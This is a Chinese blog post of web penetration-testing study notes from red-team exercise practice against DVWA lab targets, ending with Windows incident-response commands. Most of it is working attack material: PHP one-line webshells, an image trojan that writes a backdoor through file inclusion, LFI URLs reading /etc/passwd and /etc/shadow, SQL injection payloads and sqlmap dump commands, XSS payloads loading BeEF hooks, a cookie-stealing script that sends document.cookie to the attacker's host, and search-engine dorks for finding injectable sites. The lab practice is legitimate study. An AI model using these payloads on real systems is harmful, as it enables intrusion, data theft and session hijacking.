xiaohuihui
for me

hw

2021-03-07 19:42:56
Word count: 4.8k | Reading time: 20min

dhclient -r eth0 //释放网卡0的ip

dhclient -v eth0 //获取ip

获取ip的四个步骤:

1.DHCPDISCOVER

2.DHCPOFFER

3.DHCPREQUEST

4.DHCPACK

image-20210311170427469

文件上传

  1. 文件上传(File Upload)是大部分Web应用都具备的功能,例如 用户上传附件、修改头像、分享图片/视频等

  2. 正常的文件一般是文档、图片、视频等,Web应用搜集之后放入后台存储,需要的时候再调出来返回

  3. 如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了WebShell

HW

image-20210311193434408

Nussus 、Nmap 、Burpsuite、Sqlmap

Brupsuite

1
<?php @eval($_POST['coderYang']);?>

image-20210311211058605

image-20210311200523901

WebShell

小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数

大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检测到

shell2.php #eval 使用php函数,例如phpinfo();

1
2
3
<?php eval($_REQUEST['cmd']);?>

http://10.3.137.171/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();

shell3.php #system 使用linux系统命令,例如ls,cp,rm

1
2
3
<?php system($_REQUEST['coderYang']);?>

http://10.3.137.171/dvwa/hackable/uploads/shell3.php?coderYang=cat /etc/passwd

中国菜刀:

1
2
3
<?php @eval($_POST['coderYang']);?>

说明:REQUEST是在网页端输入变量访问,POST则是使用像菜刀的工具连接,是C/S架构。

文件包含

1
2
3
4
5
6
7
8
9
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指档期服务器开启allow_url_include选项时,就可以通过php的某些特征函数(include(),require()和include_once(),require_once())利用url去动态的包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

1.文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
2.被包含的文件可以是各种文件格式,而当文件里包含恶意代码,则会形成远程命令执行或文件上传漏洞
3.文件包含漏洞主要发生在有包含语句的环境中,例如PHP具备includerequire等包含函数

文件包含分为两大类:
本地文件包含LFI(Local File Inclusion)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(Remote File Inclusion)当被包含的文件在第三方服务器时,又叫做远程文件包含
1
2
3
4
5
6
7
本地文件包含
访问本地系统账号信息及其它敏感信息
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf

image-20210312223410142

image-20210312223830745

低安全级别渗透

本地文件包含+webshell
1
2
3
4
5
6
7
8
9
10
1.制作一句话图片木马 coderYang.jpg
<?fputs(fopen("shell2.php","w"),'<?php eval($_POST[coderYang]);?>')?>

2.上传图片木马文件
3.执行文件包含并生成后门
4.通过菜刀连接webshell


/var/www/dvwa/hackable/uploads //dvawa文件上传访问的目录 coderYang.jpg
/var/www/dvwa/vulnerabilities/fi //dvwa文件包含访问的目录 shell2.php
远程文件包含+webshell
1
2
3
4
service apache2 start

vim /var/www/html/coderYang.txt
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[coderYang]);?>')?>

中安全级别渗透

但我们换成中安全级别渗透之后,我们可以发现”http://“和”https://“字符串被过滤了,所以对远程文件包含有限制,而对于本地文件包含没有什么问题。

image-20210314135502830

本地文件包含+webshell

无影响

远程文件包含+webshell
1
我们在url地址中输入:http://192.168.53.80/dvwa/vulnerabilities/fi/?page=httphttp://://192.168.53.78/coderYang02.txt

即可绕或字符串的过滤

高安全级别渗透

image-20210314141331620

我们从源代码可以分析,代码这样写是不会有漏洞的,但是一般的代码也不会这样写,扩展性不高,直接写死,不便于后期维护

SQL注入攻击及防御

查看表记录

image-20210314152824938

image-20210314152842204

image-20210314152923094

image-20210314152956613

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
select * from dvwa.users
union
select user_login,user_pass from wordpress.wp_users;

如果用union查询的话,就会报错have a different number of colums


因为两个语句查的字段数都不一样

方法:猜数字
select * from dvwa.users union select 1;
select * from dvwa.users union select 1,2;
select * from dvwa.users union select 1,2,3;
select * from dvwa.users union select 1,2,3,4;
select * from dvwa.users union select 1,2,3,4,5;
select * from dvwa.users union select 1,2,3,4,5,6;

select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

information_schema

information_schema数据库字典

1
2
3
4
5
6
7
8
9
10
==查询数据库库名、表名 information_schame.tables==
select * from information_schema.TABLES;

select DISTINCT table_schema from information_schema.tables;

select table_schema,table_name from information_schema.tables;

select table_schema,group_concat(table_name) from information_schema.tables group by table_schema;

select table_name from information_schema.tables where table_schema = 'dvwa';
1
2
3
4
5
6
7
8
9
10
==查询数据库库名、表名、字段名 information.columns==
select * from information_schema.columns;

select column_name from information_schema.columns;

select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users';

select column_name from information_schema.columns where table_name = 'user_privileges'

select column_name from information_schema.columns where table_name = 'schema_privileges'

SQL注入流程

1
2
3
4
5
1.判断是否有SQL注入漏洞;
2.判断操作系统、数据库和web应用的类型;
3.获取数据库信息,包括管理员信息及拖库;
4.加密信息破解,sqlmap可自动破解;
5.提升权限,获得sql-shell、os-shell、登录应用后台

1.基于错误的注入

1
2
错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型。

image-20210314165708098

SQL注入实战

基于错误的注入

输入一个单引号即可。

基于布尔的注入
1
2
3
4
5
6
7
8
9
原始语句:select first_name,last_name from dvwa.users where user_id = ''

SQL注入语句解析: ' or 1=1 -- coderYang
select first_name,last_name from dvwa.users where user_id = ' ' or 1=1 -- coderYang

说明:
第一个' 用于闭合前面的条件
or 1=1 为true的条件
-- 注释后面的语句
基于UNION注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;

一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。

//猜测数据列数
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
' union select 1,2,3,4 -- '

SQL注入语句解析
select first_name,last_name from dvwa.users where user_id = '' union select 1 -- '';
select first_name,last_name from dvwa.users where user_id = '' union select 1,2 -- '';


获取当前数据库及用户信息
select first_name,last_name from dvwa.users where user_id = '' union select user(),database() -- '';

select first_name,last_name from dvwa.users where user_id = '' union select version(),database() -- '';


说明:
version() 获取当前数据库版本信息
database() 获取当前数据库名
user() 获取当前用户名


//查询数据库中的所有表
information_schema是数据库自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。



//查询所有库名
'union select table_schema,1 from information_schema.tables -- '

select first_name,last_name from dvwa.users where user_id = '' union select table_schema,1 from information_schema.tables --'



//查看库中所有表名
'union select table_name,1 from information_schema.tables -- '

select first_name,last_name from dvwa.users where user_id = ''union select table_name,1 from information_schema.tables -- '


//同时查询表名以及对应库名
'union select table_schema,table_name from information_schema.tables -- '

select frist_name,last_name from dvwa.users where user_id = '' union select table_schema,table_name from information_schema.tables -- '
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//原始语句
select first_name,last_name from dvwa.users where user_id = '$id'


//查询表数据
' union select table_schema,column_name from information_schema.columns where table_name = 'users' -- '


//1只是用来占位的
'union select 1,column_name from information_schema.columns where table_name = 'user_privileges' -- '

' union select 1,column_name from information_schema.columns where table_name = 'schema_privileges' -- '


SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id = '' union select table_schema,column_name from information_schema.columns where table_name = 'users' -- '

select first_name,last_name from dvwa.users where user_id = ''union select 1,column_name from information_schema.columns where table_name = 'user_privileges' -- '


select first_name,last_name from dvwa.users where user_id = '' union select 1,column_name from information_schema.columns where table_name = 'schema_privileges' -- '



//查询列数据
' union select NULL,user from users -- '

' union select NULL,password from users -- '

' union select user,password from users -- '

' union select password,concat(first_name,' ',last_name,' ',user) from users -- '


SQL语句解析:

select first_name,last_name from dvwa.uesrs where user_id = '' union union select password,concat(first_name,' ',last_name,' ',user) from users -- '
基于时间的盲注
1
2
3
4
1' and sleep(5) -- '

SQL注入语句解析:
select frist_name,last_name from dvwa.users where user_id = '1' and sleep(5) -- '

如果我们发现网页一直在加载中,说明我们加入的这条语句是可以执行的

sqlmap自动化注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sqlmap参数解析:
--users
--current-user
--dbs
--current-db
-D "database_name" -- tables
-D "database_name" -T "table_name" --columns


--dump 下载
--dump-all
--dump-all --execlude-sysdbs
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username,password" --dump


--batch //自动化完成

--sql-shell //交互模式

步骤:
1.获取当前数据库
POST参数注册
1
2
3
4
5
6
7
8
9
sqlmap -u "http://...." --batch --cookie="PHPSESSID=mppj5uv80v7buj1eq4ra996lk6;security=low" --dbs

sqlmap -u "http://...." --batch --cookie="PHPSESSID=mppj5uv80v7buj1eq4ra996lk6;security=low" -D dvwa --tables

sqlmap -u "http://...." --batch --cookie="PHPSESSID=mppj5uv80v7buj1eq4ra996lk6;security=low" -D dvwa -T users --columns

sqlmap -u "http://...." --batch --cookie="PHPSESSID=mppj5uv80v7buj1eq4ra996lk6;security=low" -D dvwa -T users -C "user,password" --dump

sqlmap -u "http://...." --batch --cookie="PHPSESSID=mppj5uv80v7buj1eq4ra996lk6;security=low" --sql-shell

综合:

1
2
3
4
5
6
7
8
9
10
11
1.通过Google搜索可能存在注入的页面
inurl:.php?id=
inurl:.jsp?id=
inurl:.asp?id=
inurl:./admin/login.php
inurl:.php?id = intitle:美女

2.通过百度搜索可能存在注入的页面
inurl:news.asp?in = site:edu.cn
inurl:news.php?in = site:edu.cn
inurl:news.aspx?in = site:edu.cn

XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
跨站脚本(cross site script),XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行响应的嵌入代码。
从而盗取用户资料哦、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。


XSS攻击的危害包括:
1.盗取各类用户账号,如机器登录账号、用户网银账号、各类管理员账号
2.控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3.盗窃企业重要的具有商业价值的资料
4.非法转账
5.强制发送电子邮件
6.网站挂马
7.控制受害者机器向其它网站发起攻击

image-20210315134246777

image-20210315135307860

1
2
3
4
XSS:
放射性XSS:(Reflected XSS),又称为非持久性跨站脚本攻击,它是最常见的类型XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的连接(即每次攻击都需要用户的点击)。

存储型XSS(Stored XSS),又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。
1
2
3
4
5
6
7
常见的JavaScript方法

alert alert() 方法用于显示带有一条指定消息和一个确认 按钮的警告框
window.location window.location对象用于获取当前页面的地址(URL),并把浏览器重定向到新的页面。
onload 一张页面或一幅图像完成加载
onsubmit 确认按钮被点击
onerror 在加载文档或者图像时发生错误

构造XSS脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
弹框警告
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号',一旦脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏洞。
<script>alert('xss')</script>
<script>alert(document.cookie)</script>

页面嵌套
<iframe src="http://www.baidu.com" width=300 height=300></iframe>


页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>


弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="http://10.1.64.35/multillidae/robots.txt"></script>
这里结合了一些社工的思想,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外一个站点重新登录账户(克隆网站收集账户)


访问恶意代码
<script src="http://www.xxx.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie


巧用图片标签
<img src="#" onerror=alert('xss')>
<img src="http://BeEF_IP:3000/hook.js"></img>


利用大小写、字符编码绕开过滤

image-20210315143455416

手工存储XSS

1
2
3
4
5
获取cookie:渗透机 Kali Linux端操作
1.构建收集cookie服务器
2.构造XSS代码并植入到Web服务器
3.等待肉鸡触发XSS并将cookie发送到Kali
4.Cookie利用
1
2
3
4
5
6
7
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie . "\n");
fclose($log);
?>
1
chown -R www-data.www-data /var/www
1
2
3
4
5
通过渗透机植入XSS代码:
<script>window.open('http://192.168.53.78/cookie_rec.php?cookie='+document.cookie)</script>

注:193.168.53.78为kali的ip
注:先清楚之前植入的XSS代码

自动化XSS

1
2
3
Browser Exploitation Framework(BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;
BeEF是基于Ruby语言写的,并且支持图形化界面,操作简单;
1
2
3
4
5
6
启动beef
beef-xss
账号beef
密码:admin@123

netstat -ntpl 查看开了哪些端口

image-20210315153902945

我们可以看到此端口,不限主机访问(可以从任何地方访问),没有限制本机访问

1
2
3
4
5
6
命令颜色:

绿色: 对目标主机生效且不可见(不会被发现)
橙色:对目标主机生效但可能可见(可能被发现)
灰色:对目标主机未必生效(可验证下)
红色:对目标主机不生效

Web信息搜集之搜索引擎

Google Hacking

site
1
2
3
4
5
6
功能:搜索指定的域名的网页内容,可以用来搜索子域名、跟此域名相关的内容

示例:
site:zhihu,com 搜索跟zhihu.com相关的网页
"web安全" site:zhihu.com 搜索跟zhihu.com跟web安全相关的网页
"sql注入" site:zhihu.com 搜索跟zhihu.com跟sql注入相关的网页
filetype
1
2
3
4
5
功能:搜索指定文件类型

示例:
filetype:pdf "web安全"搜索跟安全书籍相关的pdf文件
filetype:pdf siteLwww.51cto.com 搜索51cto的pdf文件
inurl
1
2
3
4
5
6
7
功能:搜索url网址存在特定关键字的网页,可以用来搜寻有注入点的网站

示例:
inurl:.php?id= 搜索网址中有"php?id"的网页
inurl:.jsp?id= 搜索网址中有"jsp?id"的网页
inurl:/admin/login.php 搜索网址中有"/admin/login.php"的网页
inurl:login 搜索网址中有"login"等登录网页
intitle
1
2
3
4
5
6
7
8
9
功能:搜索标题存在特定关键字的网页

示例:
intitle:后台管理 搜索网页标题是"后台登录"的相关网页
intitle:后台管理 filetype:php 搜索网页标题是"后台管理"的php页面
intitle:index of “keyword" 搜索此关键字相关的索引目录信息
intitle:index of "parent directory" 搜索根目录相关的索引目录信息
intitle:index of "login" 搜索登录页面信息
intitle:index of "admin" 搜索后台管理页面信息
intext
1
2
3
4
5
功能:搜索正文存在特定关键字的网页

示例:
intext:powered by Discuz 搜索Discuz论坛相关的页面
intext:powered by wordpress 搜索wordpress制作的博客网址

image-20210315195114477

Web漏扫之Brup Suite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Traget : 目标模块用于设置扫描域(target scope)、生成站点地图(sitemap)、生成安全分析

Proxy : 代理模块用于拦截浏览器的http会话内容

Spider : 爬虫模块用于自动爬取网站的每个页面内容,并生成完整的网站地图

Scanner : 扫描模块用于自动化检测漏洞,分为主动和被动扫描

Intruder : 入侵(渗透)模块根据上面检测到的可能存在漏洞的链接,调用攻击载荷,对目标链接进行攻击。入侵模块的原理是根据访问链接中存在的参数/变量,调用本地字典、攻击载荷,对参数进行渗透测试

Repeater : 重放模块用于实现请求重放,通过修改参数进行手工请求回应的调试

Sequencer : 序列器模块用于检测参数的随机性,例如密码或者令牌是否可预测,以此判断关键数据是否可被伪造

Comparer : 对比模块用于比较两次不同的请求和回应进行可视化对比,以此区分不同参数对结果造成的影响

extender : 通过拓展模块,可以加载自己开发的、或者第三方模块,打造自己的burpsuite功能。通过burpsuite接口,目前可以支持Java、Python、Ruby三种语言的模块编写

Options : 分为Project/User Options,主要对软件进行全局设置

Alerts : 显示软件的使用日志信息

爬虫功能(Spider)

1
2
3
4
5
准备工作:
设置代理获取域名
访问目标网站
设置目标域
拦截功能关闭

应急响应

Windows分析排查

开机启动文件

分析排查是指对Windows系统中的文件、进程、系统信息、日志记录等进行检测,挖掘Window系统中是否具有异常情况。

命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
msconfig	:	查看开机启动项
regedit : 注册表编辑器

msinfo32 : 系统信息
net user : 查看当前系统用户

eventvwr.msc : 「事件查看器」

命令行中输入:
netstat -ano 查看所有开放端口
netstat -ano | findstr "aaa"
netsh advfirewall firewall 查看防火墙出入站规则
tasklist | find "端口号"

image-20210318191356152

temp临时文件

命令:

1
%temp%	:	打开临时文件

image-20210318191855682

浏览器信息记录

image-20210318193115445

image-20210318194032601

image-20210318194130005

image-20210318194157307

image-20210318204436293

Author: 小灰灰

Link: http://xhh460.github.io/2021/03/07/hw/

Copyright: All articles in this blog are licensed.

< PreviousPost
算法篇
NextPost >
SpringMVC
CATALOG
  1. 1. 文件上传
  2. 2. HW
  3. 3. WebShell
  4. 4. 文件包含
    1. 4.1. 低安全级别渗透
      1. 4.1.1. 本地文件包含+webshell
      2. 4.1.2. 远程文件包含+webshell
    2. 4.2. 中安全级别渗透
      1. 4.2.1. 本地文件包含+webshell
      2. 4.2.2. 远程文件包含+webshell
    3. 4.3. 高安全级别渗透
  5. 5. SQL注入攻击及防御
    1. 5.1. 查看表记录
    2. 5.2. information_schema
    3. 5.3. SQL注入实战
      1. 5.3.1. 基于错误的注入
      2. 5.3.2. 基于布尔的注入
      3. 5.3.3. 基于UNION注入
      4. 5.3.4. 基于时间的盲注
      5. 5.3.5. sqlmap自动化注入
        1. 5.3.5.1. POST参数注册
  6. 6. XSS
    1. 6.1. 构造XSS脚本
    2. 6.2. 手工存储XSS
    3. 6.3. 自动化XSS
  7. 7. Web信息搜集之搜索引擎
    1. 7.1. Google Hacking
      1. 7.1.1. site
      2. 7.1.2. filetype
      3. 7.1.3. inurl
      4. 7.1.4. intitle
      5. 7.1.5. intext
  8. 8. Web漏扫之Brup Suite
    1. 8.1. 爬虫功能(Spider)
  9. 9. 应急响应
    1. 9.1. Windows分析排查
      1. 9.1.1. 开机启动文件
      2. 9.1.2. temp临时文件
      3. 9.1.3. 浏览器信息记录